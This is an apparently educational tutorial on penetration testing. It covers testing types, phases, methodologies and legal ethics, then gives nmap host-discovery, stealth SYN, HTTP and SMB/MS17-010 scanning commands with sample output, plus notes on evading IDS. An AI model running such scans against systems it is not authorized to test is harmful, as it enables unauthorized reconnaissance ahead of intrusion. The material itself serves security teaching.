ADVANCED PENETRATION TESTING FOR BEGINNERS
By Gurjot Singh Saini , 10 Feb 2026
Penetration Testing – Guide
This module introduces the foundations of Penetration Testing (Ethical Hacking), covering what it is, why it is needed, types, phases, and legal considerations.
1.1 What is Penetration Testing?
Penetration Testing (Pen Testing) is a controlled and authorized security assessment performed to identify vulnerabilities in systems, networks, or applications before malicious hackers can exploit them.
In simple words, penetration testing means intentionally trying to break into your own system to find weak points and fix them before real attackers discover them.
Think of it like hiring a professional “ethical burglar” to check whether your digital doors, windows, and locks are secure. The purpose is not to cause damage, but to make your system safer and stronger.
🔍 Why is Penetration Testing Important?
- 🔐 Finds security weaknesses before hackers do
- 🛡 Helps protect sensitive data like passwords, personal details, and financial information
- ⚙ Improves overall system security and stability
- 📜 Helps meet security compliance and audit requirements
- 🚨 Reduces the risk of data breaches and cyber attacks
🧠 What Does a Penetration Tester Do?
A penetration tester (also called an ethical hacker) uses the same techniques and tools as real attackers, but in a safe and legal way.
- ✔ Scans systems for known vulnerabilities
- ✔ Attempts to exploit weaknesses to check their impact
- ✔ Identifies misconfigurations and poor security practices
- ✔ Documents findings and suggests security improvements
🧩 Types of Systems Tested
- 🌐 Websites and Web Applications
- 📱 Mobile Applications (Android / iOS)
- 🖥 Servers and Operating Systems
- 📡 Networks (Wi-Fi, LAN, Firewalls)
- ☁ Cloud environments (AWS, Azure, GCP)
🧪 How Penetration Testing Works (Simple Steps)
- Planning: Define scope, targets, and permissions
- Scanning: Discover open ports, services, and weaknesses
- Exploitation: Safely test vulnerabilities
- Reporting: Explain risks and how to fix them
Penetration Testing is legal only with proper authorization.
Testing systems without permission is illegal and considered a cybercrime.
Security Audit vs Vulnerability Assessment vs Penetration Testing
These three terms are often confused, but they serve different security purposes. Think of them as three different levels of checking security — from rules, to weaknesses, to real attacks.
🔐 1. Security Audit
A Security Audit is a formal review of an organization’s security policies, procedures, and controls. It checks whether security rules are properly defined and followed.
It does not attack systems. Instead, it verifies:
- 📜 Security policies and documentation
- 🔑 Access control rules
- 📁 Data protection standards
- ⚙ Compliance with laws and regulations
Example: Checking whether password policies follow company rules (length, complexity, expiry).
Key Points:
- ✔ Policy-based
- ✔ Documentation review
- ✔ Compliance focused
- ✔ No hacking involved
🛠 2. Vulnerability Assessment
A Vulnerability Assessment identifies security weaknesses in systems, applications, or networks.
It uses automated tools to scan for known vulnerabilities but usually does not exploit them.
- 🔍 Finds missing patches
- 🔓 Detects weak configurations
- ⚠ Identifies outdated software
- 📊 Assigns severity levels (Low, Medium, High)
Example: Finding that a server is running an outdated version of Apache with known vulnerabilities.
Key Points:
- ✔ Tool-based scanning
- ✔ Lists vulnerabilities
- ✔ No real attack
- ✔ Fast and repeatable
⚔ 3. Penetration Testing
Penetration Testing goes one step further by actively exploiting vulnerabilities to see how much damage an attacker could actually do.
It simulates real-world cyber attacks in a safe and authorized manner.
- 🎯 Exploits vulnerabilities
- 🧠 Uses manual techniques and creativity
- 🚨 Tests real impact
- 📄 Provides detailed attack reports
Example: Using SQL Injection to gain unauthorized access to a database.
Key Points:
- ✔ Real attack simulation
- ✔ Manual + automated
- ✔ Impact-focused
- ✔ Requires legal permission
📊 Quick Comparison Table
| Aspect | Security Audit | Vulnerability Assessment | Penetration Testing |
|---|---|---|---|
| Focus | Policies & Compliance | Finding Weaknesses | Exploiting Weaknesses |
| Attack Simulation | No | No | Yes |
| Tools Used | Checklists & Docs | Automated Scanners | Manual + Tools |
| Risk Level | None | Low | Medium to High |
| Legal Permission | Not Required | Recommended | Mandatory |
| Output | Compliance Report | Vulnerability List | Exploitation Report |
🎯 Which One Should You Choose?
- 🔹 Security Audit: When compliance and policy review is needed
- 🔹 Vulnerability Assessment: When you want to find known weaknesses
- 🔹 Penetration Testing: When you want to test real attack scenarios
🖥️ Security Testing vs Penetration Testing
| Feature | Security Testing | Penetration Testing |
|---|---|---|
| Focus | Overall security posture | Identifying and validating vulnerabilities |
| Depth | Broad coverage | Deep technical assessment |
| Output | Security gaps and recommendations | Exploits, risks, and proof-of-concept (safe & controlled) |
| Use Case | Routine health checks | Assessing real-world attack readiness |
1.2 Types of Penetration Testing
Penetration Testing can be performed in different ways depending on how much information the tester has and what is being tested. Each type serves a different security goal.
Below are the most common and important types of penetration testing, explained in a simple and practical way.
-
⚪ White Box Testing
- Tester has full access to system details.
- Includes source code, architecture diagrams, and credentials.
- Allows deep and complete security testing.
- Finds hidden logic flaws and hard-to-detect vulnerabilities.
Example: Reviewing application source code to find insecure functions.
🎯 Best for internal security and secure development.
-
⚙ Gray Box Testing
- Tester has limited information.
- Partial credentials or basic system knowledge is provided.
- Balances realism with efficiency.
- Very common in real-world testing.
Example: Testing a user dashboard with a normal user login.
⚖ Practical and cost-effective.
-
🕶 Black Box Testing
- Tester has no prior knowledge of the system.
- No credentials, source code, or internal details are provided.
- Simulates a real external attacker.
- Focuses on what an outsider can see and exploit.
Example: An attacker trying to hack a public website without any login access.
⏱ Most realistic but time-consuming.
-
🌐 Network Penetration Testing
- Tests network devices and communication paths.
- Includes firewalls, routers, switches, and servers.
- Can be External or Internal.
- Checks for open ports, weak protocols, and misconfigurations.
Example: Detecting open SSH ports or weak firewall rules.
-
🌍 Web Application Penetration Testing
- Focuses on websites, web portals, and APIs.
- Tests authentication, authorization, and user input.
- Looks for vulnerabilities like:
- SQL Injection (SQLi)
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF)
- Broken Authentication
Example: Trying to bypass login or steal session cookies.
-
📱 Mobile Application Penetration Testing
- Tests Android and iOS applications.
- Checks data storage, API security, and permissions.
- Identifies insecure communication and hardcoded secrets.
Example: Finding sensitive data stored in plain text on a mobile device.
-
📡 Wireless Penetration Testing
- Focuses on Wi-Fi and wireless networks.
- Tests encryption standards like WPA2 and WPA3.
- Identifies rogue access points and weak passwords.
Example: Cracking a weak Wi-Fi password to gain network access.
A Website mainly displays information (blogs, company pages, news) with little or no user interaction and usually faces content-related risks such as defacement and XSS.
A Web Application allows users to log in, submit data, upload files, and make payments. Because it interacts with backend systems, it faces high-impact risks like authentication bypass, data theft, business logic abuse, and financial fraud.
No single test is enough. Organizations often combine multiple types of penetration testing for strong security.
Start learning with Web Application and Network Penetration Testing — they form the foundation of ethical hacking.
1.3 Penetration Testing Phases
Penetration Testing is performed in a structured and phased manner. These phases are commonly grouped into three major stages: Pre-Attack, Attack, and Post-Attack.
This approach ensures testing is legal, safe, repeatable, and focused on improving security rather than causing damage.
🟦 Pre-Attack Phase (Preparation & Discovery)
-
1. Planning & Scoping
This phase defines what will be tested and how. No testing begins without proper planning.
- 🎯 Define testing objectives and success criteria
- 📍 Define scope (domains, IPs, applications)
- 🚫 Identify out-of-scope systems
- 📝 Obtain written legal authorization
- ⏱ Set timelines, rules of engagement, and reporting format
-
2. Reconnaissance (Information Gathering)
In this step, the tester collects information without directly attacking the target.
- 🌐 Identify domains, subdomains, and IP addresses
- ⚙ Detect technologies, frameworks, and servers
- 📄 Use public sources (DNS, WHOIS, search engines)
- 🕵 Mostly passive and low-risk
🟥 Attack Phase (Testing & Exploitation)
-
3. Scanning & Enumeration
This phase identifies how the target system responds and what services are exposed.
- 🔍 Identify open ports and running services
- 🖥 Detect service versions and operating systems
- 👥 Enumerate users, directories, and network resources
- ⚠ Performed carefully to avoid disruption
-
4. Vulnerability Analysis
Discovered services are analyzed for known or potential vulnerabilities.
- 📊 Match services with known CVEs
- 🧪 Use vulnerability scanners responsibly
- ⚖ Prioritize vulnerabilities by risk level
- 🧠 Remove false positives
-
5. Exploitation (Controlled & Limited)
This phase safely proves that a vulnerability can actually be exploited.
- ⚔ Attempt exploitation in a controlled manner
- 🎯 Goal is proof-of-concept, not damage
- 🚫 No data deletion or service interruption
- 🧾 Document access gained
🟩 Post-Attack Phase (Impact & Reporting)
-
6. Post-Exploitation & Impact Analysis
This step evaluates how far an attacker could go after initial access.
- 📈 Assess business and data impact
- 🔑 Check privilege escalation possibilities
- 🔗 Identify lateral movement risks
- 🧹 Clean up test accounts and artifacts
-
7. Reporting & Remediation
Reporting is the most valuable output of a penetration test.
- 📄 Clear explanation of each vulnerability
- 📸 Screenshots and proof-of-concept evidence
- 🔥 Risk ratings (Low / Medium / High / Critical)
- 🛠 Practical remediation and mitigation steps
Pre-Attack → Attack → Post-Attack → Fix → Retest
Penetration testing should be performed regularly and after major updates or deployments.
1.4 Penetration Testing Methodologies
A Penetration Testing Methodology is a structured framework that defines how security testing should be planned, executed, and reported.
These methodologies ensure testing is systematic, repeatable, legal, and effective. Different organizations follow different standards depending on their needs.
🛡 1. LPT (Licensed Penetration Tester)
LPT is a high-level penetration testing methodology and certification developed by EC-Council. It focuses on real-world, enterprise-level security testing.
- 🎯 Covers full attack lifecycle (pre-attack → attack → post-attack)
- 🏢 Designed for large organizations and critical infrastructure
- ⚖ Strong focus on legal authorization and ethics
- 📊 Emphasizes risk, business impact, and reporting
Example: Red-team style testing of a corporate network.
📘 2. NIST (National Institute of Standards and Technology)
NIST provides government-grade security guidelines. It is widely used by government agencies and regulated industries.
Penetration testing guidance mainly comes from: NIST SP 800-115.
NIST Testing Phases:
- Planning
- Discovery
- Attack
- Reporting
- 📜 Compliance-oriented
- 🔐 Strong focus on documentation
- 🏛 Preferred for government systems
🌐 3. OWASP (Open Web Application Security Project)
OWASP is the most popular methodology for Web Application Penetration Testing.
OWASP provides open-source standards like:
- OWASP Top 10
- OWASP Web Security Testing Guide (WSTG)
OWASP Testing Areas:
- Authentication & Authorization
- Session Management
- Input Validation
- API Security
- Business Logic Flaws
🔍 4. ISSAF (Information Systems Security Assessment Framework)
ISSAF is a comprehensive framework that focuses on technical depth and structured assessments.
It provides detailed testing steps for:
- Networks
- Applications
- Operating Systems
- Firewalls & IDS
ISSAF divides testing into:
- Planning & Preparation
- Assessment
- Reporting
- Cleanup
📊 5. OSSTMM (Open Source Security Testing Methodology Manual)
OSSTMM focuses on measuring security objectively, not just finding vulnerabilities.
It tests five main channels:
- Human (social engineering)
- Physical (buildings, access)
- Wireless
- Telecommunications
- Data networks
OSSTMM introduces the concept of: Security Metrics & Trust Levels.
📌 Quick Comparison
| Methodology | Main Focus | Best Use Case |
|---|---|---|
| LPT | Enterprise & Real-World Attacks | Advanced penetration testing |
| NIST | Compliance & Standards | Government & regulated sectors |
| OWASP | Web Application Security | Websites & APIs |
| ISSAF | Technical Assessment | Deep system testing |
| OSSTMM | Security Measurement | Overall security posture |
Real-world penetration testers often combine multiple methodologies depending on the target and objective.
EC-Council LPT Methodology (Six-Step Approach)
The LPT (Licensed Penetration Tester) methodology by EC-Council follows a structured six-step approach that simulates real-world cyber attacks while maintaining legal and ethical standards.
Each step builds upon the previous one and helps testers move from information discovery to risk validation and professional reporting.
1️⃣ Information Gathering (Reconnaissance)
This is the foundation of penetration testing. The goal is to collect as much information as possible about the target without actively attacking it.
- 🌐 Identify domains, subdomains, and IP addresses
- 📄 Collect public information (OSINT)
- ⚙ Detect technologies, servers, and frameworks
- 👥 Gather employee names, emails (where allowed)
- 🕵 Mostly passive and stealthy
Example: Discovering a website uses Apache, PHP, and MySQL.
2️⃣ Scanning
In the scanning phase, the tester actively interacts with the target system to understand what is exposed and reachable.
- 🔍 Identify open ports and services
- 🖥 Detect operating systems and service versions
- 📡 Identify network boundaries and firewalls
- ⚠ Performed carefully to avoid service disruption
Example: Finding port 80 (HTTP) and port 22 (SSH) open.
3️⃣ Enumeration
Enumeration goes deeper than scanning. It aims to extract detailed information from identified services.
- 👥 Enumerate users, groups, and roles
- 📂 Discover directories, shares, and resources
- 🗂 Identify running services and permissions
- 🧠 Understand system structure and relationships
Example: Listing valid usernames from a login service.
4️⃣ Vulnerability Assessment
In this phase, the tester identifies known security weaknesses in the discovered services and applications.
- 📊 Match services with known vulnerabilities (CVEs)
- 🧪 Use vulnerability scanners responsibly
- ⚖ Classify risks (Low / Medium / High / Critical)
- 🧠 Validate findings to remove false positives
Example: Identifying an outdated CMS plugin with a known vulnerability.
5️⃣ Exploit Research & Verification
This step determines whether identified vulnerabilities can actually be exploited.
- 🔎 Research public and private exploits
- ⚔ Safely test exploits in a controlled manner
- 🎯 Prove impact without damaging systems
- 📸 Collect proof-of-concept evidence
Example: Demonstrating SQL Injection by extracting test data.
6️⃣ Reporting
Reporting is the most critical phase of the LPT methodology.
- 📄 Clear explanation of vulnerabilities
- 🔥 Business and technical impact
- 📊 Risk ratings and severity levels
- 🛠 Step-by-step remediation guidance
- 📸 Screenshots, logs, and evidence
Example: Recommending patching, configuration changes, or redesign.
📌 LPT Six-Step Flow (Easy View)
Information Gathering → Scanning → Enumeration → Vulnerability Assessment → Exploit Verification → Reporting
Always master the first three steps — strong recon and enumeration make exploitation much easier.
When Should Penetration Testing Be Performed?
Penetration Testing should not be a one-time activity. It must be performed at critical moments in the system lifecycle to ensure security remains strong.
Below are the most important situations when penetration testing is necessary and recommended.
1️⃣ Before Launching a New Application or System
Before any website, application, or system goes live, it should be tested for security weaknesses.
- 🚀 Prevents launching insecure software
- 🔐 Protects user data from day one
- 🛑 Reduces risk of early breaches
Example: Testing an e-commerce website before public release.
2️⃣ After Major Code Changes or Feature Updates
Even small changes can introduce new vulnerabilities. Any significant update should trigger penetration testing.
- 🧩 New features may bypass existing security controls
- ⚙ Code changes can introduce logic flaws
- 🔁 Prevents regression vulnerabilities
Example: Adding payment gateway or login functionality.
3️⃣ After Infrastructure or Network Changes
Changes in servers, networks, or cloud environments can expose new attack surfaces.
- ☁ Cloud migration (AWS, Azure, GCP)
- 🌐 Firewall or network reconfiguration
- 🖥 New servers or services deployment
Example: Moving on-prem servers to AWS cloud.
4️⃣ On a Regular Schedule (Periodic Testing)
Security threats evolve constantly. Regular penetration testing helps stay ahead of attackers.
- 📅 Quarterly or bi-annual testing
- 🔄 Identifies newly discovered vulnerabilities
- 📈 Tracks security improvements over time
5️⃣ After a Security Breach or Incident
If a system has been compromised, penetration testing helps understand how the attack happened.
- 🚨 Identify root cause of breach
- 🧠 Detect hidden vulnerabilities
- 🛠 Strengthen defenses against future attacks
Example: Testing systems after ransomware incident.
6️⃣ To Meet Compliance and Regulatory Requirements
Many regulations require penetration testing to protect sensitive data.
- 📜 PCI-DSS (payment systems)
- 🏥 HIPAA (healthcare data)
- 🌍 ISO 27001
- 🏛 Government security standards
Example: Annual PCI-DSS penetration testing for payment portals.
7️⃣ After Integrating Third-Party Services
Third-party APIs and services can introduce new security risks.
- 🔌 Payment gateways
- 📡 External APIs
- 🤝 Partner systems
Example: Integrating a third-party authentication provider.
8️⃣ Before High-Risk Events or Traffic Spikes
Systems are more attractive to attackers during high-visibility events.
- 🎉 Product launches
- 🛒 Sales campaigns
- 📣 Marketing promotions
Example: Testing before Black Friday sale.
📌 Simple Rule to Remember
Perform penetration testing before change, after change, and regularly.
Combine Vulnerability Assessment with Penetration Testing for continuous security.
1.6 Legal & Ethical Considerations
Ethical hacking and penetration testing must strictly follow legal authorization and ethical guidelines. The goal is to improve security — not to misuse access.
🛡 Ethics of Penetration Testing
- ✔ Perform penetration testing only with express written permission from the client or system owner (Rules of Engagement).
- ✔ Work according to non-disclosure and liability clauses defined in the contract to protect sensitive data.
- ✔ Test tools and exploits in an isolated laboratory environment before using them on live systems.
- ✔ Notify the client immediately upon discovery of critical or highly vulnerable flaws.
- ✔ Maintain a clear separation between a criminal hacker and a professional security tester by following ethics at all times.
⚖️ What is Legal?
- ✔ Testing with written authorization
- ✔ Following defined scope and rules
- ✔ Responsible and confidential reporting
- ✔ Protecting client data and privacy
❌ What is Illegal?
- ❌ Accessing systems without permission
- ❌ Stealing, modifying, or deleting data
- ❌ Causing downtime or service disruption
- ❌ Selling vulnerabilities to criminals
Always obtain written permission before testing any system.
🧠 Responsible Disclosure
Ethical hackers must follow responsible disclosure. Vulnerabilities should be reported privately to the organization, giving them enough time to fix the issue before any public disclosure.
Ethics is what separates an ethical hacker from a cyber criminal.
1.7 Certifications & Career Path
Penetration Testing is a high-demand career in cybersecurity. Certifications help structure your learning and validate your skills.
🎓 Popular Certifications
- 🔰 CEH – Certified Ethical Hacker (Beginner/Intermediate)
- 🧪 eJPT – Junior Penetration Tester (Beginner)
- 🔥 OSCP – Offensive Security Certified Professional (Advanced, Hands-on)
- 🛡️ CompTIA PenTest+ (Intermediate)
💼 Career Growth Path
| Level | Role | Skills Required |
|---|---|---|
| Beginner | Security Analyst / Junior Pentester | Basics, networking, Linux, tools |
| Intermediate | Penetration Tester | Web app testing, enumeration, scripting |
| Advanced | Red Team Specialist | Advanced exploitation, AD attacks |
| Expert | Security Architect / Consultant | Full security design, audits, leadership |
Network Penetration Test – Important Questions & Answers
Before conducting a Network Penetration Test, security teams must clearly define scope, objectives, timing, and limitations. The following questions help ensure the test is safe, legal, and effective.
1️⃣ Why is the customer having the penetration test performed against their environment?
Answer:
The customer conducts a penetration test to:
- Identify security weaknesses before attackers
- Protect sensitive data and systems
- Evaluate real-world attack scenarios
- Meet compliance and regulatory requirements
- Improve overall security posture
2️⃣ Is the penetration test required for a specific compliance requirement?
Answer:
Yes. Many organizations perform penetration testing to comply with:
- PCI-DSS (payment card systems)
- ISO 27001
- HIPAA (healthcare)
- Government and industry regulations
3️⃣ When does the customer want the active portions of the penetration test conducted?
Answer:
Active testing (scanning, exploitation) should be performed:
- During approved maintenance windows
- When system usage is low
- With prior client authorization
4️⃣ Should testing be done during business hours or after business hours?
Answer:
This depends on the objective:
- During business hours: Tests detection and response capability
- After business hours: Minimizes risk of downtime
5️⃣ How many total IP addresses are being tested?
Answer:
The number of IP addresses defines:
- The scope of the penetration test
- Time and resources required
- Depth of testing
6️⃣ How many internal IP addresses are being tested?
Answer:
Internal IP testing focuses on:
- Insider threats
- Privilege escalation risks
- Lateral movement within the network
7️⃣ How many external IP addresses are being tested?
Answer:
External IP testing evaluates:
- Internet-facing systems
- Public servers and services
- Initial attack entry points
8️⃣ Are there any devices that may impact penetration test results?
Answer:
Yes. Devices such as:
- Firewalls
- IDS / IPS
- Web Application Firewalls (WAF)
- Antivirus / EDR solutions
These controls may block or detect attacks and must be documented.
9️⃣ In case of a successful compromise, how should the testing team proceed?
Answer:
The team must:
- Follow Rules of Engagement (RoE)
- Limit further exploitation
- Immediately notify the client
- Avoid data damage or service disruption
🔟 Should local vulnerability assessment be performed on the compromised machine?
Answer:
Yes, only if explicitly authorized in scope. This helps:
- Identify local weaknesses
- Assess privilege escalation risk
1️⃣1️⃣ Should the tester attempt to gain highest privileges (SYSTEM/root)?
Answer:
Yes, but only with permission. This:
- Demonstrates worst-case impact
- Measures full system compromise risk
- Requires proof-of-concept only
1️⃣2️⃣ Should password attacks be performed on local password hashes?
Answer:
Password attacks must be:
- Minimal and controlled
- Dictionary-based where possible
- Avoid exhaustive brute-force unless approved
All actions must remain within scope and authorization.
A successful network penetration test depends on planning, scope definition, authorization, and control.
Module 02 – In-Depth Scanning
In this module, you will learn how penetration testers discover live hosts, identify open ports, detect running services, and safely map network layouts — all using structured & ethical techniques.
2.1 What is Scanning?
Advanced scanning is the process of extracting deeper and more precise information about a target system or network. It goes far beyond simply identifying open ports.
While basic scanning answers “What is exposed?”, advanced scanning answers “How is it exposed, how secure is it, and how can it be abused?”
- ✔ Detecting exact services and software running on open ports
- ✔ Identifying service versions and configuration details
- ✔ Discovering known vulnerabilities linked to those services
- ✔ Analyzing firewall behavior and filtering rules
- ✔ Identifying IDS/IPS or security controls in place
Advanced scanning often involves active evasion and precision techniques to gather information without triggering alerts or defensive mechanisms.
- 🛠 Stealth and evasive scan techniques
- 🛠 Custom packet crafting and flag manipulation
- 🛠 Script-based scanning (e.g., NSE scripts)
- 🛠 High-speed and large-scale scanning tools
- 🛠 Firewall and rate-limit bypass techniques
Advanced scanning is where reconnaissance starts turning into exploitation planning. The goal is not noise — it is accuracy, stealth, and actionable intelligence.
🎯 Why Scanning is Important
- 🔍 Helps identify weak entry points
- 📡 Reveals exposed services
- 🛠 Helps in vulnerability assessment
- 🧩 Maps the structure of the target network
🔐 Types of Scanning (High-Level)
| Type | Purpose | Example |
|---|---|---|
| Host Discovery | Finds which systems are alive | Ping sweep |
| Port Scanning | Identify open network ports | Scanning ports 80, 443, 22, 21 |
| Service Detection | Finds which service is running on an open port | HTTP, SSH, DNS, FTP |
| Version Detection | Checks software version for vulnerabilities | Apache 2.4.49 |
2.2 Host Discovery Concepts
Host discovery determines whether a system is online or offline. This is the first step before performing deeper scans.
🖥️ How Pentesters Discover Live Hosts
-
ICMP Echo Requests (Ping)
- Sends an ICMP packet to check if the host replies.
- Fast but frequently blocked by firewalls.
-
ARP Scanning (Local Network)
- Checks devices in the same local network (LAN).
- Reliable because ARP cannot be blocked easily.
-
TCP SYN Ping
- Sends a SYN packet to a common port (80/443).
- If SYN/ACK returns → host is alive.
-
UDP Probes
- Sends packets to UDP ports like DNS (53) or SNMP (161).
🔍 When Host Discovery is Useful
- ✔ Mapping entire network ranges
- ✔ Finding forgotten or unmanaged systems
- ✔ Identifying reachable internal hosts
2.3 Service & Version Detection
After finding open ports, the next step is to identify:
- ✔ What service is running?
- ✔ What version of the service?
- ✔ Is it vulnerable or outdated?
🧩 Why Version Detection Matters
Most vulnerabilities apply to specific versions of software (e.g., Apache 2.4.49 → known exploit). Version detection helps identify such risks.
🖥️ Examples of Common Ports & Services
| Port | Protocol | Service |
|---|---|---|
| 80 | TCP | HTTP (Web Server) |
| 443 | TCP | HTTPS (Secure Web Server) |
| 21 | TCP | FTP |
| 22 | TCP | SSH Remote Login |
| 25 | TCP | SMTP Mail Server |
| 53 | UDP | DNS Query Service |
| 3306 | TCP | MySQL Database |
🛑 Challenges in Service Detection
- 🔸 Firewalls that block probes
- 🔸 Load balancers that mask real services
- 🔸 Services running on non-standard ports
Example: A web server running on port 8080 instead of 80.
🔌 Ports 139 & 445 – NetBIOS and SMB Explained
Ports 139 and 445 are commonly found on Windows systems and are used for file sharing, printer sharing, and network communication. These ports are extremely important during internal penetration testing.
📁 Port 139 – NetBIOS Session Service
Port 139 is used by NetBIOS (Network Basic Input Output System). It allows computers on the same network to:
- ✔ Discover other computers
- ✔ Share files and printers
- ✔ Communicate using computer names (not IPs)
🧠 Easy Explanation
⚠️ Security Risks of Port 139
- 🚨 Usernames can be leaked
- 🚨 Shared folders may be visible
- 🚨 Weak authentication can be abused
- 🚨 Used in old Windows attacks
🔍 How Pentesters Scan Port 139
nmap -p 139 --script nbstat 192.168.1.10
🗂️ Port 445 – SMB (Server Message Block)
Port 445 is used by SMB (Server Message Block). It allows direct communication for:
- ✔ File sharing
- ✔ Printer sharing
- ✔ Windows authentication
- ✔ Active Directory communication
🧠 Easy Explanation
🚨 Why Port 445 Is Very Dangerous
- 🔥 Used in EternalBlue (MS17-010)
- 🔥 Exploited by WannaCry ransomware
- 🔥 Allows remote code execution if unpatched
- 🔥 Common target in internal attacks
🔍 Common SMB Scanning Commands
nmap -p 445 --script smb-os-discovery 192.168.1.10
nmap -p 445 --script smb-vuln-ms17-010 192.168.1.10
🔎 Port 139 vs Port 445 (Quick Comparison)
| Feature | Port 139 | Port 445 |
|---|---|---|
| Service | NetBIOS | SMB |
| Used By | Older Windows | Modern Windows |
| Name Resolution | Yes | No |
| File Sharing | Yes | Yes |
| Risk Level | Medium | Very High |
Block ports 139 and 445 at the perimeter firewall. Allow them only inside trusted internal networks.
2.4 Safe Scanning Techniques
Scanning can be intrusive if not done properly. Safe scanning ensures the network stays stable during assessments.
🟢 Safe Scanning Principles
- ✔ Use slow & steady scanning to reduce load
- ✔ Avoid scanning production servers heavily
- ✔ Track scan timings & performance impact
- ✔ Use non-intrusive scan modes when needed
🚫 What to Avoid
- ❌ Aggressive scanning during business hours
- ❌ Full port scans on unstable servers
- ❌ Triggering DoS-related probes
🧠 Best Practices
- 📌 Scan in batches
- 📌 Use maintenance windows
- 📌 Document scan intensity settings
2.5 Identifying Network Layouts
Mapping the network layout helps penetration testers understand how different devices, servers, and services communicate.
📡 Why Network Mapping is Important
- ✔ Shows how systems are connected
- ✔ Helps identify key assets
- ✔ Highlights potential attack paths
- ✔ Reveals firewalls, routers & segmentation
🧱 Common Network Components
| Component | Role | Example |
|---|---|---|
| Router | Connects networks & directs traffic | Internet ↔ Office Network |
| Switch | Connects internal devices (LAN) | PCs ↔ Servers |
| Firewall | Blocks / Allows traffic based on rules | Perimeter security |
| DMZ | Isolated zone for public-facing services | Web, mail, DNS servers |
🧩 What Pentesters Look For
- 🔸 Segmented vs flat networks
- 🔸 Critical assets (DB, AD servers)
- 🔸 Misconfigured network devices
- 🔸 Unrecognized hosts
2.6 Practical Scanning Commands (MOST IMPORTANT)
🔹 Nmap Commands
1. Nmap Host Discovery – Ping Scan
nmap -sn 192.168.1.0/24
This command performs a host discovery (ping scan) on the 192.168.1.0/24 network to find which systems are online (alive). It does not scan ports.
🧩 Command Explanation (Very Easy)
- nmap → Network scanning tool
- -sn → Ping scan only (no port scanning)
- 192.168.1.0/24 → Network range (256 IPs)
🎯 What This Scan Does
- ✔ Finds which hosts are online
- ✔ Uses ICMP, ARP (LAN), and TCP probes
- ✔ Very fast and low noise
- ✔ Safe first step before deeper scans
📌 When to Use This Command
- 🔸 Initial reconnaissance
- 🔸 Large networks
- 🔸 To reduce scan scope
📄 Example Output
Nmap scan report for 192.168.1.5
Host is up (0.0020s latency).
Nmap scan report for 192.168.1.12
Host is up (0.0015s latency).
Run port scans only on live hosts:
nmap -sS 192.168.1.5
Some firewalls block ICMP. Use
-Pn if hosts appear offline.
2. Nmap Stealth Scan – Top 100 Ports
nmap -sS -Pn --top-ports 100 192.168.1.10
This command performs a fast and stealthy scan on the 100 most commonly used ports of the target system.
🧩 Command Explanation (Very Easy)
- nmap → Network scanning tool
- -sS → SYN (half-open) scan, difficult to detect
- -Pn → Skip ping check, treat host as alive
- --top-ports 100 → Scan only the 100 most popular ports
- 192.168.1.10 → Target IP address
🎯 Why This Scan is Useful
- ✔ Very fast compared to full port scan
- ✔ Focuses on ports most likely to be open
- ✔ Generates less network noise
- ✔ Ideal for first-phase reconnaissance
📌 When to Use This Command
- 🔸 Initial penetration testing phase
- 🔸 Large networks where time is limited
- 🔸 Systems with ICMP blocked by firewalls
📄 Example Output
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Use
-sV or -A on discovered ports for deeper analysis.
3. Nmap HTTP Enumeration – Methods, Title & Headers
nmap -p 80,443 --script http-methods,http-title,http-headers 192.168.1.0/24
This command scans web servers on ports 80 (HTTP) and 443 (HTTPS) to collect important information such as allowed HTTP methods, page titles, and HTTP headers.
🧩 Command Breakdown (Easy Explanation)
- nmap → Network scanning tool
- -p 80,443 → Scan only HTTP and HTTPS ports
- --script http-methods → Finds allowed HTTP methods (GET, POST, PUT, DELETE)
- --script http-title → Extracts the web page title
- --script http-headers → Displays HTTP response headers
- 192.168.1.0/24 → Target network range
🎯 Why This Scan Is Important
- ✔ Identifies misconfigured web servers
- ✔ Detects dangerous HTTP methods like PUT or DELETE
- ✔ Reveals server technologies via headers
- ✔ Helps fingerprint web applications
📌 Common Security Risks Found
- 🚨 PUT / DELETE methods enabled
- 🚨 Server version disclosure
- 🚨 Missing security headers
📄 Example Output
PORT STATE SERVICE
80/tcp open http
| http-title: Welcome to Apache Server
| http-methods: GET POST OPTIONS
| http-headers:
| Server: Apache/2.4.49
| X-Powered-By: PHP/7.4
|
443/tcp open https
| http-title: Secure Login
If risky methods are found, continue testing using web vulnerability scanners like Nikto or Burp Suite.
4. Nmap SMB Scan – OS Discovery & MS17-010
nmap --script smb-os-discovery,smb-vuln-ms17-010 -p 445 192.168.1.10
This command scans the target system on SMB port 445 to identify the Windows OS and check for the MS17-010 (EternalBlue) vulnerability.
🧩 Command Explanation (Easy)
- nmap → Network scanning tool
- --script smb-os-discovery → Detects Windows OS version, computer name, domain, and SMB details
- --script smb-vuln-ms17-010 → Checks for EternalBlue vulnerability
- -p 445 → Scans SMB service port
- 192.168.1.10 → Target IP address
🎯 Why This Scan Is Important
- ✔ Identifies Windows operating system remotely
- ✔ Detects unpatched Windows systems
- ✔ Helps prevent ransomware attacks (WannaCry)
- ✔ Critical for internal network assessments
🚨 What is MS17-010 (EternalBlue)?
- 🔴 Critical SMB vulnerability in Windows
- 🔴 Allows remote code execution
- 🔴 Used in WannaCry & NotPetya attacks
- 🔴 Affects older/unpatched Windows systems
📄 Example Output
PORT STATE SERVICE
445/tcp open microsoft-ds
| smb-os-discovery:
| OS: Windows 7 Professional
| Computer name: DESKTOP-01
| Domain name: WORKGROUP
|
| smb-vuln-ms17-010:
| VULNERABLE:
| Microsoft Windows SMBv1 Multiple Vulnerabilities (MS17-010)
| State: VULNERABLE
If MS17-010 is vulnerable, the system must be patched immediately.
Report the issue to administrators. Do NOT exploit without explicit permission.
5. nmap Stealth Scan (Fast + Open + Web Ports)
nmap -sS --min-rate 1000 --open -p 80,443,8080 192.168.1.10
This command performs a fast stealth SYN scan on common web ports and displays only open ports.
🧩 Command Explanation (Very Easy)
- nmap → Network scanning tool
- -sS → Stealth SYN (half-open) scan
- --min-rate 1000 → Send at least 1000 packets per second (fast scan)
- --open → Show only open ports (clean output)
- -p 80,443,8080 → Scan common web ports
- 192.168.1.10 → Target IP address
🎯 Why Use This Scan?
- ✔ Very fast reconnaissance
- ✔ Focuses only on web services
- ✔ Clean output (open ports only)
- ✔ Ideal before web vulnerability testing
📌 When to Use This Command
- 🔸 Initial web reconnaissance
- 🔸 Time-limited assessments
- 🔸 Systems with many filtered ports
📄 Example Output
PORT STATE SERVICE
80/tcp open http
443/tcp open https
Run service detection or web scripts:
nmap -sV -p 80,443 192.168.1.10
High
--min-rate values may trigger IDS/IPS systems.
Use only with permission.
